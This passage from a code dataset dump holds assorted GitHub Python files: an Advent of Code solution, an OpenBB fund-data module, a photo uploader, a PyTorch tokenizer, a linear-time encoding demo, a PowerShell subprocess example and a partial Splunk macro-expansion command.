try:\r\n get_next = iterator(od)\r\n while True:\r\n tmp.append(get_next())\r\n except StopIteration:\r\n pass\r\n assert x == tmp\r\n assert to_list(od) == tmp\r\n\r\n get_next = iterator(None)\r\n assert get_next() == False\r\n","repo_name":"aci456852/CPO-Oreo","sub_path":"src/Lab1/test_immutable.py","file_name":"test_immutable.py","file_ext":"py","file_size_in_byte":5550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74306346960","text":"import itertools as it\nfrom collections import *\nimport re\nfrom hashlib import md5\nimport functools\n\n'''\nI added a variety of make_row() implementations after the original simple one.\nSome of them are just as simple (and faster!), most of them are more complicated\nwith mixed results.\n\n'''\ntile = '.'\ntrap = '^'\n\nseed = '^.^^^.^..^....^^....^^^^.^^.^...^^.^.^^.^^.^^..^.^...^.^..^.^^.^..^.....^^^.^.^^^..^^...^^^...^...^.'\n\n#\n# Original make_row (23 seconds)\n#\ndef orig_make_row(prev):\n squares = []\n prev = '.' + prev\n for l, c, r in zip(prev, prev[1:] + '.', prev[2:]+'.'):\n if ((l == c == trap and r == tile) or\n (c == r == trap and l == tile) or\n (l == trap and c == r == tile) or\n (r == trap and l == c == tile)):\n squares.append(trap)\n else:\n squares.append(tile)\n return ''.join(squares)\n\n#\n# Original but with the tile/trap logic refactored (28 seconds)\n#\n# Slower because of the extra bazillion function call overheads\n\ndef calc_tile(triple):\n l, c, r = triple\n if ((l == c == trap and r == tile) or\n (c == r == trap and l == tile) or\n (l == trap and c == r == tile) or\n (r == trap and l == c == tile)):\n return trap\n return tile\n\ndef refactored_make_row(prev):\n prev = '.' + prev + '.'\n return ''.join(calc_tile(triple) for triple in zip(prev, prev[1:], prev[2:]))\n\n#\n# Lookup Table make_row (11 seconds)\n#\n\ntrans = {triple: calc_tile(triple) for triple in it.product('.^', '.^', '.^')}\n\ndef lookup_make_row(prev):\n prev = '.' + prev + '.'\n return ''.join(trans[triple] for triple in zip(prev, prev[1:], prev[2:]))\n\n#\n# Lookup Table with strings (19 seconds)\n#\n# as above, but use length 3 strings instead of tuples\n# slower because we execute lots more bytecodes per character\n\ntrans.update({''.join(triple): trans[triple] for triple in trans.keys()})\n\ndef string_lookup_make_row(prev):\n prev = '.' + prev + '.'\n return ''.join(trans[prev[i:i+3]] for i in range(len(prev)-2))\n\n#\n# Lookup Table with peek ahead (14 seconds)\n#\n# We know the current (left, center, right) so we make a tiny lookup dict\n# that returns the next triple based on the current one and the next char\n# (left, center, right) becomes (center, right, new_char)\n#\n# This ends up being slower because of all the temporaries.\n\ntrans_peek = {}\nfor triple, v in trans.items():\n chars = ''.join(triple)\n next_triples = {c:chars[1:]+c for c in '.^'}\n trans_peek[chars] = (v, next_triples)\n\ndef fancy_lookup_make_row(prev):\n chars = iter(prev+'.')\n curr = '.' + next(chars) + next(chars)\n out = []\n try:\n while True:\n v, lookup = trans_peek[curr]\n out.append(v)\n curr = lookup[next(chars)]\n except StopIteration:\n pass\n return ''.join(out)\n\n\n#\n# cache translated subsets of strings (6 secs)\n# Shitty complicated, but faster\n\nimport functools\n@functools.lru_cache(None)\ndef make_8(row):\n # translate all the middle triples (don't try to translate 1st and last chars)\n retval = ''.join(trans[triple] for triple in zip(row, row[1:], row[2:]))\n assert len(retval) == len(row) - 2\n return retval\n\ndef cachable_make_row(prev):\n orig = prev\n prev = '.' + prev + '.'\n eight = 8 # tunable, but it turns out 8 is the optimal number\n prev += '.' * (eight - len(prev) % eight)\n inds = list(range(1, len(prev)+eight, eight))\n prev += '.' # IDK\n return ''.join(make_8(prev[i-1:j+1]) for i,j in zip(inds, inds[1:]))[:len(orig)]\n\n\nmake_row = orig_make_row\nmake_row = string_lookup_make_row\nmake_row = lookup_make_row\n\nassert make_row('.') == '.'\nassert make_row('..') == '..'\nassert make_row('..^^.') == '.^^^^', make_row('..^^.')\nassert make_row('.^^^^') == '^^..^'\n\ndef main():\n rows = [seed]\n while len(rows) < 400000:\n rows.append(make_row(rows[-1]))\n print(\"COUNT\", sum(row.count('.') for row in rows))\n return\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jackdied/AoC2016","sub_path":"day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"15719647797","text":"\"\"\"Investpy Model\"\"\"\n__docformat__ = \"numpy\"\n\nimport logging\nfrom datetime import datetime, timedelta\nfrom typing import Tuple\n\nimport investpy\nimport pandas as pd\n\nfrom openbb_terminal.decorators import log_start_end\nfrom openbb_terminal.rich_config import console\n\nlogger = logging.getLogger(__name__)\n\n\n@log_start_end(log=logger)\ndef search_funds(by: str = \"name\", value: str = \"\") -> pd.DataFrame:\n \"\"\"Search investpy for matching funds\n\n Parameters\n ----------\n by : str\n Field to match on. Can be name, issuer, isin or symbol\n value : str\n String that will be searched for\n\n Returns\n -------\n pd.DataFrame\n Dataframe containing matches\n \"\"\"\n try:\n return investpy.funds.search_funds(by=by, value=value)\n except RuntimeError as e:\n logger.exception(str(e))\n return pd.DataFrame()\n\n\n@log_start_end(log=logger)\ndef get_overview(country: str = \"united states\", limit: int = 20) -> pd.DataFrame:\n \"\"\"\n\n Parameters\n ----------\n country: str\n Country to get overview for\n limit: int\n Number of results to get\n \"\"\"\n return investpy.funds.get_funds_overview(\n country=country, as_json=False, n_results=limit\n )\n\n\n@log_start_end(log=logger)\ndef get_fund_symbol_from_name(name: str) -> Tuple[str, str]:\n \"\"\"Get fund symbol from name through investpy\n\n Parameters\n ----------\n Name: str\n Name to get fund symbol of\n\n Returns\n -------\n str\n Name of Symbol matching provided name\n str\n Country in which matching symbol was found\n \"\"\"\n name_search_results = investpy.search_funds(by=\"name\", value=name)\n if name_search_results.empty:\n return \"\", \"\"\n symbol = name_search_results.loc[:, \"symbol\"][0]\n country = name_search_results.country.values[0]\n console.print(\n f\"Name: [cyan][italic]{symbol.upper()}[/italic][/cyan] found for {name} in country: {country.title()}.\"\n )\n return symbol, country\n\n\n@log_start_end(log=logger)\ndef get_fund_name_from_symbol(symbol: str) -> Tuple[str, str]:\n \"\"\"Get fund name from symbol from investpy\n\n Parameters\n ----------\n symbol: str\n Symbol to get fund name of\n\n Returns\n -------\n str\n Name of fund matching provided symbol\n str\n Country matching symbol\n \"\"\"\n symbol_search_results = investpy.search_funds(by=\"symbol\", value=symbol)\n if symbol_search_results.empty:\n return \"\", \"\"\n name = symbol_search_results.loc[:, \"name\"][0]\n country = symbol_search_results.loc[:, \"country\"][0]\n console.print(\n f\"Name: [cyan][italic]{name.title()}[/italic][/cyan] found for {symbol} in country: {country.title()}.\"\n )\n return name, country\n\n\n@log_start_end(log=logger)\ndef get_fund_info(fund: str, country: str = \"united states\") -> pd.DataFrame:\n \"\"\"\n\n Parameters\n ----------\n fynd: str\n Name of fund (not symbol) to get information\n country: str\n Country of fund\n\n Returns\n -------\n pd.DataFrame\n Dataframe of fund information\n \"\"\"\n return investpy.funds.get_fund_information(fund, country).T\n\n\n@log_start_end(log=logger)\ndef get_fund_historical(\n fund: str,\n country: str = \"united states\",\n name: bool = False,\n start_date: datetime = (datetime.now() - timedelta(days=366)),\n end_date: datetime = datetime.now(),\n) -> Tuple[pd.DataFrame, str, str, str]:\n \"\"\"Get historical fund data\n\n Parameters\n ----------\n fund: str\n Fund to get data for. If using fund name, include `name=True`\n country: str\n Country of fund\n name : bool\n Flag to search by name instead of symbol\n start_date: datetime\n Start date of data in format YYYY-MM-DD\n end_date: datetime\n End date of data in format YYYY-MM-DD\n\n Returns\n -------\n pd.DataFrame:\n Dataframe of OHLC prices\n str:\n Fund name\n str:\n Fund symbol\n str:\n Country that matches search results\n \"\"\"\n if name:\n fund_name = fund\n try:\n fund_symbol, matching_country = get_fund_symbol_from_name(fund)\n except RuntimeError as e:\n logger.exception(str(e))\n return pd.DataFrame(), fund, \"\", country\n else:\n fund_symbol = fund\n try:\n fund_name, matching_country = get_fund_name_from_symbol(fund)\n except RuntimeError as e:\n logger.exception(str(e))\n return pd.DataFrame(), \"\", fund, country\n\n # Note that dates for investpy need to be in the format dd/mm/yyyy\n from_date = start_date.strftime(\"%d/%m/%Y\")\n to_date = end_date.strftime(\"%d/%m/%Y\")\n search_country = matching_country if matching_country else country\n try:\n return (\n investpy.funds.get_fund_historical_data(\n fund_name, search_country, from_date=from_date, to_date=to_date\n ),\n fund_name,\n fund_symbol,\n matching_country,\n )\n except RuntimeError as e:\n logger.exception(str(e))\n return pd.DataFrame(), fund_name, fund_symbol, search_country\n","repo_name":"rohankumardubey/OpenBBTerminal","sub_path":"openbb_terminal/mutual_funds/investpy_model.py","file_name":"investpy_model.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"2931320630","text":"# pylint: disable=unsubscriptable-object,unsupported-assignment-operation\n\"\"\"\nExecutable script to update plants photos in the database\n\"\"\"\nimport time\nfrom pathlib import Path\n\nimport click\nimport pandas as pd\nimport requests\nfrom rich.console import Console\n\n# Известные переименования и функция нормализации названий для сравнения\n\nknown_renames = {\"Клен сахаристый\": \"Клён сахарный\"}\n\n\ndef normalize(name: str) -> str:\n \"\"\"\n Normalize name for comparison with other normalized names.\n \"\"\"\n normalized = name.replace(\"ё\", \"е\").replace(\"\\xa0\", \" \").replace(\"\\u0438\\u0306\", \"й\").lower().strip()\n return known_renames.get(normalized, normalized)\n\n\nknown_renames = {normalize(key): normalize(val) for key, val in known_renames.items()}\n\n\n@click.command(\"update_photos\")\n@click.option(\n \"--api_host\",\n \"-H\",\n envvar=\"API_HOST\",\n default=\"http://localhost:8081\",\n help=\"API host without any endpoints\",\n show_envvar=True,\n show_default=True,\n)\n@click.argument(\n \"photos_path\",\n type=click.Path(exists=True, file_okay=False),\n)\ndef main(api_host: str, photos_path: str): # pylint: disable=too-many-locals\n \"\"\"\n Скрипт для загрузки информации о фотографиях в базу данных.\n\n Обрабатывает фотографии с названиями фйлов\n из [green]заданной папки[/green] как названия растений, сравнивает с названиями, возвращенными back-end'ом\n и загружает фотографии для совпавших.\n \"\"\"\n api_host = api_host.rstrip(\"/\")\n plants_endpoint = f\"{api_host}/api/plants/all\"\n photo_endpoint = f\"{api_host}/api/update/plant/{{plant_id}}/photo\"\n\n console = Console(emoji=False, highlight=False)\n\n console.print(f\"В качестве папки с фотографиями используется [green]{photos_path}[/green]\")\n console.print(f\"Данные о растениях будут запрошены по адресу [magenta]{plants_endpoint}[/magenta]\")\n console.print(f\"Фотографии будут отправляться по шаблону [cyan]{photo_endpoint}[/cyan]\")\n print()\n\n plants = pd.DataFrame(requests.get(plants_endpoint, timeout=60).json()[\"plants\"]).set_index(\"id\")\n plants[\"name\"] = plants[\"name_ru\"].apply(normalize)\n\n photos_dir = Path(photos_path)\n plant_names = []\n filenames = {}\n for file in photos_dir.iterdir():\n if not file.name.endswith((\".jpg\", \".jpeg\")):\n continue\n if file.name != normalize(file.name):\n file = file.rename(photos_dir / normalize(file.name))\n plant_name = file.name[: file.name.rfind(\".\")]\n plant_names.append(plant_name)\n filenames[plant_name] = file.name\n\n plant_names = pd.Series(sorted(plant_names), name=\"plant_name\")\n\n plant_names_found = plant_names[pd.Series([plant_name in plants[\"name\"].unique() for plant_name in plant_names])]\n plant_names_found.index = [plants[\"name\"][plants[\"name\"] == val].index[0] for val in plant_names_found]\n\n missings = plant_names[~plant_names.isin(plant_names_found)]\n print(\n f\"Обнаружено {missings.shape[0]} фотографий для которых не нашлось растения в БД.\"\n f\" {plant_names_found.shape[0]} будут обновлены\"\n )\n if missings.shape[0] > 0:\n print(\"Названия фотографий без растения в БД будут сохранены в файл missings.txt\")\n with open(\"missings.txt\", \"w\", encoding=\"utf-8\") as file:\n print(\"\\n\".join(list(missings)), file=file)\n\n errors = 0 # pylint: disable=invalid-name\n for plant_id, plant_name in plant_names_found.items():\n photo_filename = filenames[plant_name]\n console.print(f\"Sending {photo_filename} image as a photo for plant {plant_name} (id={plant_id})\")\n\n try:\n with (photos_dir / photo_filename).open(\"rb\") as file:\n res = requests.post(\n photo_endpoint.replace(\"{plant_id}\", str(plant_id)),\n files={\"photo_data\": file},\n timeout=60,\n )\n if res.status_code != 200:\n console.print(f\"[red]Error code {res.status_code}[/red]. Output: {res.text}\")\n errors += 1\n time.sleep(1)\n except Exception as exc: # pylint: disable=broad-except\n console.print(f\"[red]Excption occured: {exc!r}[/red]\")\n errors += 1\n time.sleep(1)\n\n console.print(\n f\"[green]Фотографии обновлены[/green]. Ошибок при загрузке: [red]{errors}[/red],\"\n f\" всего фотографий отправлено: [cyan]{len(plant_names_found)}[/cyan]\"\n )\n\n\nif __name__ == \"__main__\":\n main() # pylint: disable=no-value-for-parameter\n","repo_name":"egov-itmo/derevo","sub_path":"photos/update_photos.py","file_name":"update_photos.py","file_ext":"py","file_size_in_byte":5079,"program_lang":"python","lang":"ru","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"26379254395","text":"import torch\r\nimport torch.nn.functional as F\r\nfrom torch import nn\r\nfrom einops.layers.torch import Rearrange\r\n\r\nfrom .partialconv2d import PartialConv2d\r\n\r\n\r\nclass RestrictiveBlock(nn.Module):\r\n def __init__(self, in_channels, out_channels, image_shape, attention_decrease=True):\r\n super().__init__()\r\n self.ln1 = nn.LayerNorm([in_channels, *image_shape])\r\n self.pconv1 = PartialConv2d(in_channels, in_channels, kernel_size=1, stride=1, padding=0, bias=False, multi_channel=False, return_mask=True, attention_decrease=True)\r\n self.ln2 = nn.LayerNorm([in_channels, *image_shape])\r\n self.pconv2 = PartialConv2d(in_channels, in_channels, kernel_size=1, stride=1, padding=0, bias=False, multi_channel=False, return_mask=True, attention_decrease=True)\r\n self.pconv3 = PartialConv2d(in_channels, out_channels, kernel_size=2, stride=2, padding=1, bias=False, multi_channel=False, return_mask=True, attention_decrease=attention_decrease)\r\n \r\n def forward(self, input, mask=None):\r\n x = self.ln1(input)\r\n x, mask = self.pconv1(x, mask)\r\n x = self.ln2(x)\r\n x, mask = self.pconv2(x, mask)\r\n x = x + input\r\n x, mask = self.pconv3(x, mask)\r\n return x, mask\r\n\r\nclass RestrictiveCNN(nn.Module):\r\n def __init__(self, in_channels, out_channels, hidden_channels, image_shape, attention_decrease=True):\r\n super().__init__()\r\n tmp_hidden = (in_channels + hidden_channels) // 2\r\n self.rb1 = RestrictiveBlock(in_channels, tmp_hidden, image_shape, True)\r\n new_shape = [(dim)//2 + 1 for dim in image_shape]\r\n self.rb2 = RestrictiveBlock(tmp_hidden, hidden_channels, new_shape, True)\r\n new_shape = [(dim)//2 + 1 for dim in new_shape]\r\n self.rb3 = RestrictiveBlock(hidden_channels, hidden_channels, new_shape, True)\r\n new_shape = [(dim)//2 + 1 for dim in new_shape]\r\n self.rb4 = RestrictiveBlock(hidden_channels, out_channels, new_shape, attention_decrease)\r\n self.res_shape = [(dim)//2 + 1 for dim in new_shape]\r\n \r\n def forward(self, input, mask=None):\r\n x, mask = self.rb1(input, mask)\r\n x, mask = self.rb2(x, mask)\r\n x, mask = self.rb3(x, mask)\r\n x, mask = self.rb4(x, mask)\r\n return x, mask\r\n\r\nclass RestrictiveCNNTokenizer(nn.Module):\r\n def __init__(self, in_channels, out_channels, hidden_channels, image_shape, attention_decrease):\r\n super().__init__()\r\n self.model = RestrictiveCNN(in_channels, out_channels, hidden_channels, image_shape, attention_decrease)\r\n self.to_tokens = Rearrange('b c h w -> b (h w) c')\r\n self.res_shape = self.model.res_shape\r\n\r\n def forward(self, input, mask=None):\r\n x, mask = self.model(input, mask)\r\n return self.to_tokens(x), self.to_tokens(mask)\r\n\r\n\r\n\r\n \r\n\r\n","repo_name":"illuser-maker/vit-depth-inpainting","sub_path":"model/restrictive_cnn.py","file_name":"restrictive_cnn.py","file_ext":"py","file_size_in_byte":2844,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"26080400683","text":"import time\n\n\ndef print_fib(nmbr: int) -> None:\n def fib(n: int) -> int:\n if n == 1:\n return 0\n if n == 2:\n return 1\n return fib(n - 1) + fib(n - 2)\n print(f'fib({nmbr}): {fib(nmbr)}')\n\n\ndef fibs_no_threading():\n print_fib(35)\n print_fib(36)\n\n\nif __name__ == '__main__':\n start = time.time()\n fibs_no_threading()\n end = time.time()\n print(f'Elapsed: {end - start:.4f}s')\n","repo_name":"damiansp/completePython","sub_path":"concurrency/asyncio/01_getting_to_know/fib_no_theading.py","file_name":"fib_no_theading.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43153244267","text":"class ServiceError(Exception):\n # raised for 500 or other error code\n\n def __init__(self, message, code, body):\n self.code = code\n self.body = body\n super(ServiceError, self).__init__(message)\n\n\ndef check_service_response(response, service):\n if response.code >= 400:\n message = \"Service {0} failed with {1}\\n{2}\".format(\n service, response.code, response.body)\n raise ServiceError(message, code=response.code, body=response.body)\n","repo_name":"joshmarshall/tornadorax","sub_path":"tornadorax/errors.py","file_name":"errors.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"41636982646","text":"# encoding.py\n# (C) 2021 Sasha Golovnev\n# linear-time encoding with constant relative distance\n\nimport math\nimport random\n\n# Auxiliary class to store sparse matrices as lists of non-zero elements\n# (I couldn't figure out a simple way to use scipy's sparse matrices for our goals.)\nclass SparseMatrix:\n\n # A matrix of size n x m,\n # a[i] is a list of pairs (j, val) corresponding to matrix with A[i, j] = val\n def __init__(self, n, m):\n self.n = n\n self.m = m\n self.a = []\n for i in range(n):\n self.a.append([])\n\n # Add a non-zero element to the matrix\n def add(self, i, j, val):\n if val == 0:\n return\n assert 0 <= i < self.n\n assert 0<= j < self.m\n self.a[i].append((j, val))\n\n\n # Multiply a vector x of length self.n by this matrix\n def multiply(self, x):\n assert len(x) == self.n\n y = [0] * self.m\n for i in range(self.n):\n for (j, val) in self.a[i]:\n y[j] += x[i] * val\n return y\n\n # Generate a matrix of size n x m, where each row has d *distinct* random positions\n # filled with random non-zero elements of the field\n @staticmethod\n def generate_random(n, m, d, p):\n matrix = SparseMatrix(n, m)\n for i in range(n):\n indices = random.sample(range(m), d)\n for j in indices:\n matrix.add(i, j, random.randint(1, p-1))\n return matrix\n\n\n\n\n# field size, prime p ~ 2^{256}\np = 90589243044481683682024195529420329427646084220979961316176257384569345097147\nn = 2**13\n\n# the following parameters are taken from Table 1 of the write-up.\nalpha = 0.178\nbeta = 0.0785\n# r is the rate of the code\nr = 1.57\n\n# delta is the distance of the code, not really needed for the encoding procedure, used for testing.\ndelta = beta / r\n\n# multiply two field elements\ndef field_mult(a, b):\n return (a % p) * (b % p) % p\n\n\n# sum up two field elements\ndef field_add(a, b):\n return (a + b) % p\n\n\n# the binary entropy function\ndef H(x):\n assert 0 < x < 1\n return -x*math.log(x,2)-(1-x)*math.log(1-x,2)\n\n\n# I don't implement an efficient encoding by Reed-Solomon, because I assume we already have it.\n# Instead I just generate a Vandermonde matrix and multiply it by the input vector x.\n# This procedure takes a vector x of length l = len(x), and outputs a vector of length m.\ndef reed_solomon(x, m):\n l = len(x)\n # Reed-Solomon requires the field size to be at least the length of the output\n assert p > m\n y = [0] * m\n for i in range(1, m+1):\n a = 1\n for j in range(l):\n y[i-1] = field_add(y[i-1], field_mult(a, x[j]))\n a = field_mult(a, i)\n return y\n\n\n# The code is given by two lists of sparse matrices, precodes and postcodes.\n# Let n0 = n, n1 = alpha n0, n2 = alpha n1,...., nt = alpha n_{t-1},\n# where nt is the first value <= 20.\n#\n# Each list of matrices will have t matrices.\n# The i-th matrix in precodes has dimensions ni x (alpha * ni), where alpha is the parameter fixed above.\n# The i-th matrix in postcodes has dimensions (alpha * r * ni) x ((r - 1 - alpha * r) * n_i),\n# where alpha and r are the parameters fixed above.\n#\n# Each matrix in *precodes* is just a random sparse matrix sampled as follows:\n# In each row of the matrix we pick cn distinct random indices.\n# Then each of the sampled positions of the matrix gets a random non-zero element of the field.\n# Since all the matrices are sparse, we store them as lists of non-zero elements.\n#\n# Matrices in *postcode* are sampled in the same way as in precodes with dn non-zeros per row instead of cn.\ndef generate(n):\n precodes = []\n postcodes = []\n i = 0\n ni = n\n while ni > 20:\n # the current precode matrix has dimensions ni x mi\n mi = math.ceil(ni * alpha)\n # the current postcode matrix has dimensions niprime x miprime\n niprime = math.ceil(r * mi)\n miprime = math.ceil(r * ni) - ni - niprime\n\n # the sparsity of the precode matrix is cn\n cn = math.ceil(min(\n max(1.2 * beta * ni, beta * ni +3),\n (110/ni + H(beta) + alpha * H(1.2 * beta / alpha)) / (beta * math.log(alpha / (1.2 * beta), 2))\n ))\n precode = SparseMatrix.generate_random(ni, mi, cn, p)\n precodes.append(precode)\n\n # the sparsity of the postcode matrix is dn\n mu = r - 1 - r * alpha\n nu = beta + alpha * beta + 0.03\n dn = math.ceil(min(\n ni * (2 * beta + (r - 1 + 110/ni)/math.log(p, 2) ),\n (r * alpha * H(beta / r) + mu * H(nu / mu) + 110/ni) / (alpha * beta * math.log(mu / nu, 2))\n ))\n postcode = SparseMatrix.generate_random(niprime, miprime, dn, p)\n postcodes.append(postcode)\n\n i += 1\n ni = math.ceil(ni * alpha)\n return precodes, postcodes\n\n\n# The encoding procedure.\n# If the length of x is at most 20, then we just encode the vector by Reed-Solomon.\n# Otherwise we take the next pair of matrices from precodes and postcodes\n# y = x * precode\n# z = recursive encoding of y\n# v = z * postcode\n# the resulting encoding is (x, z, v)\ndef encode(x, code, shift = 0):\n if len(x) <= 20:\n return reed_solomon(x, math.ceil(r * len(x)))\n precodes, postcodes = code\n assert precodes[shift].n == len(x)\n y = precodes[shift].multiply(x)\n z = encode(y, code, shift+1)\n assert postcodes[shift].n == len(z)\n v = postcodes[shift].multiply(z)\n # here '+' denotes the list concatenation operator.\n return x + z + v\n\n\n# example\ncode = generate(n)\n\nfor _ in range(10):\n x = []\n # generate a random vector x of length n without using range(p):\n for _ in range(n):\n x.append(random.randint(0, p-1))\n encoded = encode(x, code)\n hammingWeight = sum(1 for element in encoded if element != 0)\n print(hammingWeight/len(encoded) >= delta)\n","repo_name":"conroi/lcpc","sub_path":"doc/encoding.py","file_name":"encoding.py","file_ext":"py","file_size_in_byte":5874,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"3"} +{"seq_id":"11094577466","text":"# Beispiel 1: Powershell in einem Python-Programm starten\nimport subprocess\nfrom os import path\n\nposhArgs = \"Get-Process\"\n\n# Die einfachste Form - dann shell=True erhält powershell.exe poshArgs über StdIn\n# subprocess.call([\"powershell.exe\", poshArgs], shell=True)\n# print(\"Fertig...\")\n\n# Optional, wenn nicht auf die Beendigung gewartet wird\n# subprocess.check_call([\"powershell.exe\", poshArgs], shell=True)\n# print(\"Fertig...\")\n\n#poshArgs = \"Get-Process | Where-Object WS -gt 100MB\"\n#subprocess.call([\"powershell.exe\", poshArgs], shell=True)\n\njsonPfad = path.join(path.dirname(__file__), \"Prozesse.json\")\nposhArgs = f\"Get-Process | Where-Object WS -gt 100MB | Select-Object Name, Company, StartTime, WS | ConvertTo-Json | Out-File -FilePath {jsonPfad} -Encoding Utf8\"\nsubprocess.call([\"powershell.exe\", poshArgs], shell=True)\nprint(\"Fertig...\")\n\n# Wenn die Befehlszeile zu umfangreich wird, dann Base64...","repo_name":"pemo11/enterpy","sub_path":"Python/PoshStart1.py","file_name":"PoshStart1.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71106801362","text":"import sys, time, re, splunklib.binding as bind\r\nfrom splunklib.searchcommands import dispatch, GeneratingCommand, Configuration, Option, validators\r\nfrom xml.dom.minidom import parseString\r\n\r\n@Configuration()\r\nclass ExpandMacros(GeneratingCommand):\r\n\t# macro can be supplied in the search\r\n\t# if not, we'll just list all of the macros\r\n\tmacro = Option(require=False)\r\n\r\n\t# limit the number of levels of macros to expand\r\n\t# can be supplied in the command and default to 10 if not\r\n\t# should help to eliminate infinite loops for circurlarly defined macros (if those are possible)\r\n\tmax_level = Option(require=False, validate=validators.Integer())\r\n\t\r\n\t# internal array for the list of all of the macros\r\n\tmacroList = []\r\n\t\r\n\t# Method getMacros()\r\n\t#\r\n\t# This method should find and return all of the macros from Splunk\r\n\tdef getMacros(self):\r\n\t\t# Using the splunk sdk for python, connect to to splunk\r\n\t\t# and hit the admin/macros endpoint, asking for all of the macros\r\n\t\tmacros =[]\r\n\t\tkwargs_count = {\"count\":\"0\"}\r\n\t\tservice = bind.connect(app=\"-\",owner=\"-\",token=self._metadata.searchinfo.session_key)\r\n\t\tresponse = service.get(\"admin/macros\",**kwargs_count)\r\n\t\t\r\n\t\t# The macros are returned in the body of the response\r\n\t\t# And are in an xml format\r\n\t\t# here we loop through all of the \"entry\" tags\r\n\t\t# looking for the name, definition, app and arguments of each macro\r\n\t\tdom = parseString(response[\"body\"].read())\r\n\t\tfor node in dom.getElementsByTagName('entry'):\r\n\t\t\tname = \"\"\r\n\t\t\tdefinition= \"\"\r\n\t\t\targs = \"\"\r\n\t\t\t\r\n\t\t\t# the name is in the title node on each entry element\r\n\t\t\tname = node.getElementsByTagName('title')[0].childNodes[0].nodeValue\r\n\t\t\t\r\n\t\t\t# the definition, app and arguments (and other properties)\r\n\t\t\t# are in various \"s:key\" nodes\r\n\t\t\t# so we loop through them all and set those variables if/when found\r\n\t\t\tfor dictNode in node.getElementsByTagName('s:key'):\r\n\t\t\t\tif dictNode.getAttribute('name') == \"definition\":\r\n\t\t\t\t\tdefinition = dictNode.childNodes[0].nodeValue\r\n\t\t\t\tif dictNode.getAttribute('name') == 'args':\r\n\t\t\t\t\targs = dictNode.childNodes[0].nodeValue\r\n\t\t\t\tif dictNode.getAttribute('name') == 'eai:appName':\r\n\t\t\t\t\tapp = dictNode.childNodes[0].nodeValue\r\n\t\t\t\r\n\t\t\t# The macro list is an array of dictionary items\r\n\t\t\t# Each item contains the name, definition, arguments and app for the macro\r\n\t\t\tmacroDict = {\"name\":name,\"definition\":definition,\"arguments\":args,\"app\":app}\r\n\t\t\tmacros.append(macroDict)\r\n\t\treturn macros\r\n\t\r\n\t# Method normalizeMacroName(strMacro)\r\n\t#\r\n\t# This method will find whether a macro name contains parameters\r\n\t# If it does, we count the parameters and return the actual macro name\r\n\t# For example, mycoolmacro(\"foo\",\"bar\") should return mycoolmacro(2)\r\n\tdef normalizeMacroName(self,strMacro):\r\n\t\tret = strMacro\r\n\t\tmatches=re.findall('[^\\(,\\)]+',strMacro)\r\n\t\tnumargs = len(matches[1:])\r\n\t\tif numargs > 0:\r\n\t\t ret = matches[0] + \"(\" + str(numargs) + \")\"\r\n\t\treturn ret\r\n\t\r\n\t# Method getMacroParams(strMacro)\r\n\t#\r\n\t# Similar to normalizeMacroName but with this method\r\n\t# instead of counting params, we just return them\r\n\tdef getMacroParams(self,strMacro):\r\n\t\tmatches=re.findall('[^\\(\\\",\\)]+',strMacro)\r\n\t\treturn matches[1:]\r\n\t\t\r\n\t# Method getMacro(strMacro)\r\n\t#\r\n\t# Here we're just looking through our big ol' array of macros\r\n\t# and returning the dictionary item for the macro if found\r\n\tdef getMacro(self,strMacro):\r\n\t\tret = None\r\n\t\tfor dMacro in self.macroList:\r\n\t\t\tif dMacro['name'] == strMacro:\r\n\t\t\t\tret = dMacro\r\n\t\t\t\tbreak\r\n\t\treturn ret\r\n\t\r\n\t# Method getMacrosInString(strMacro)\r\n\t#\r\n\t# given a string, we're trying to pull out any macros\r\n\t# found in the string.\r\n\t# This could probably be a lot more robust\r\n\tdef getMacrosInString(self,strMacro):\r\n\t\treturn re.findall(r'`(.+?)`',strMacro)\r\n\t\r\n\t# Method expandMacro()\r\n\t#\r\n\t# This is the main method which is handling\r\n\t# the macro expansion\r\n\tdef expandMacro(self):\r\n\t\t# We'll return every level of the macro expansion\r\n\t\t# and so we want to have the level as part of the return object\r\n\t\tlevel = 1\r\n\t\t\r\n\t\t# expandedMacro is our array of dictionary objecst that will be returned\r\n\t\texpandedMacro = []\r\n\t\t\r\n\t\t# grab the dictionary object for the macro we want to expand that was passsed in Splunk\r\n\t\tcurrentMacro = self.getMacro(self.normalizeMacroName(self.macro))\r\n\t\t\r\n\t\t# and if we find it, let's do stuff with it\r\n\t\tif currentMacro != None:\r\n\t\t\t# Our level 1 definition is just the supplied macro\r\n\t\t\t# And we the level/def to a dictionary and add it to our return array\r\n\t\t\tdefinition = \"`\"+ self.macro + \"`\"\r\n\t\t\texpandedMacroDict = { 'level':level, 'definition':definition }\r\n\t\t\texpandedMacro.append(expandedMacroDict)\r\n\t\t\tlevel+=1\r\n\t\t\t\r\n\t\t\t# Starting with our base macro, let's keep going until\r\n\t\t\t# we get a definition that contains no macros, because then we're done\r\n\t\t\twhile \"`\" in definition and level <= self.max_level :\r\n\t\t\t\t# find all of macros in the current definition\r\n\t\t\t\t# and let's loop through them\r\n\t\t\t\tfor macro in self.getMacrosInString(definition):\r\n\t\t\t\t\t\r\n\t\t\t\t\t# if the macro has parameters, let's get the actual macro name\r\n\t\t\t\t\t# and see if we can find it in our list\r\n\t\t\t\t\tdMacro = self.getMacro(self.normalizeMacroName(macro))\r\n\t\t\t\t\tif dMacro != None:\r\n\t\t\t\t\t\ttmpDefinition = dMacro[\"definition\"]\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t# if the macro has arguments, then we want to replace the arguments in the definition\r\n\t\t\t\t\t\t# with the actual parameters that are being 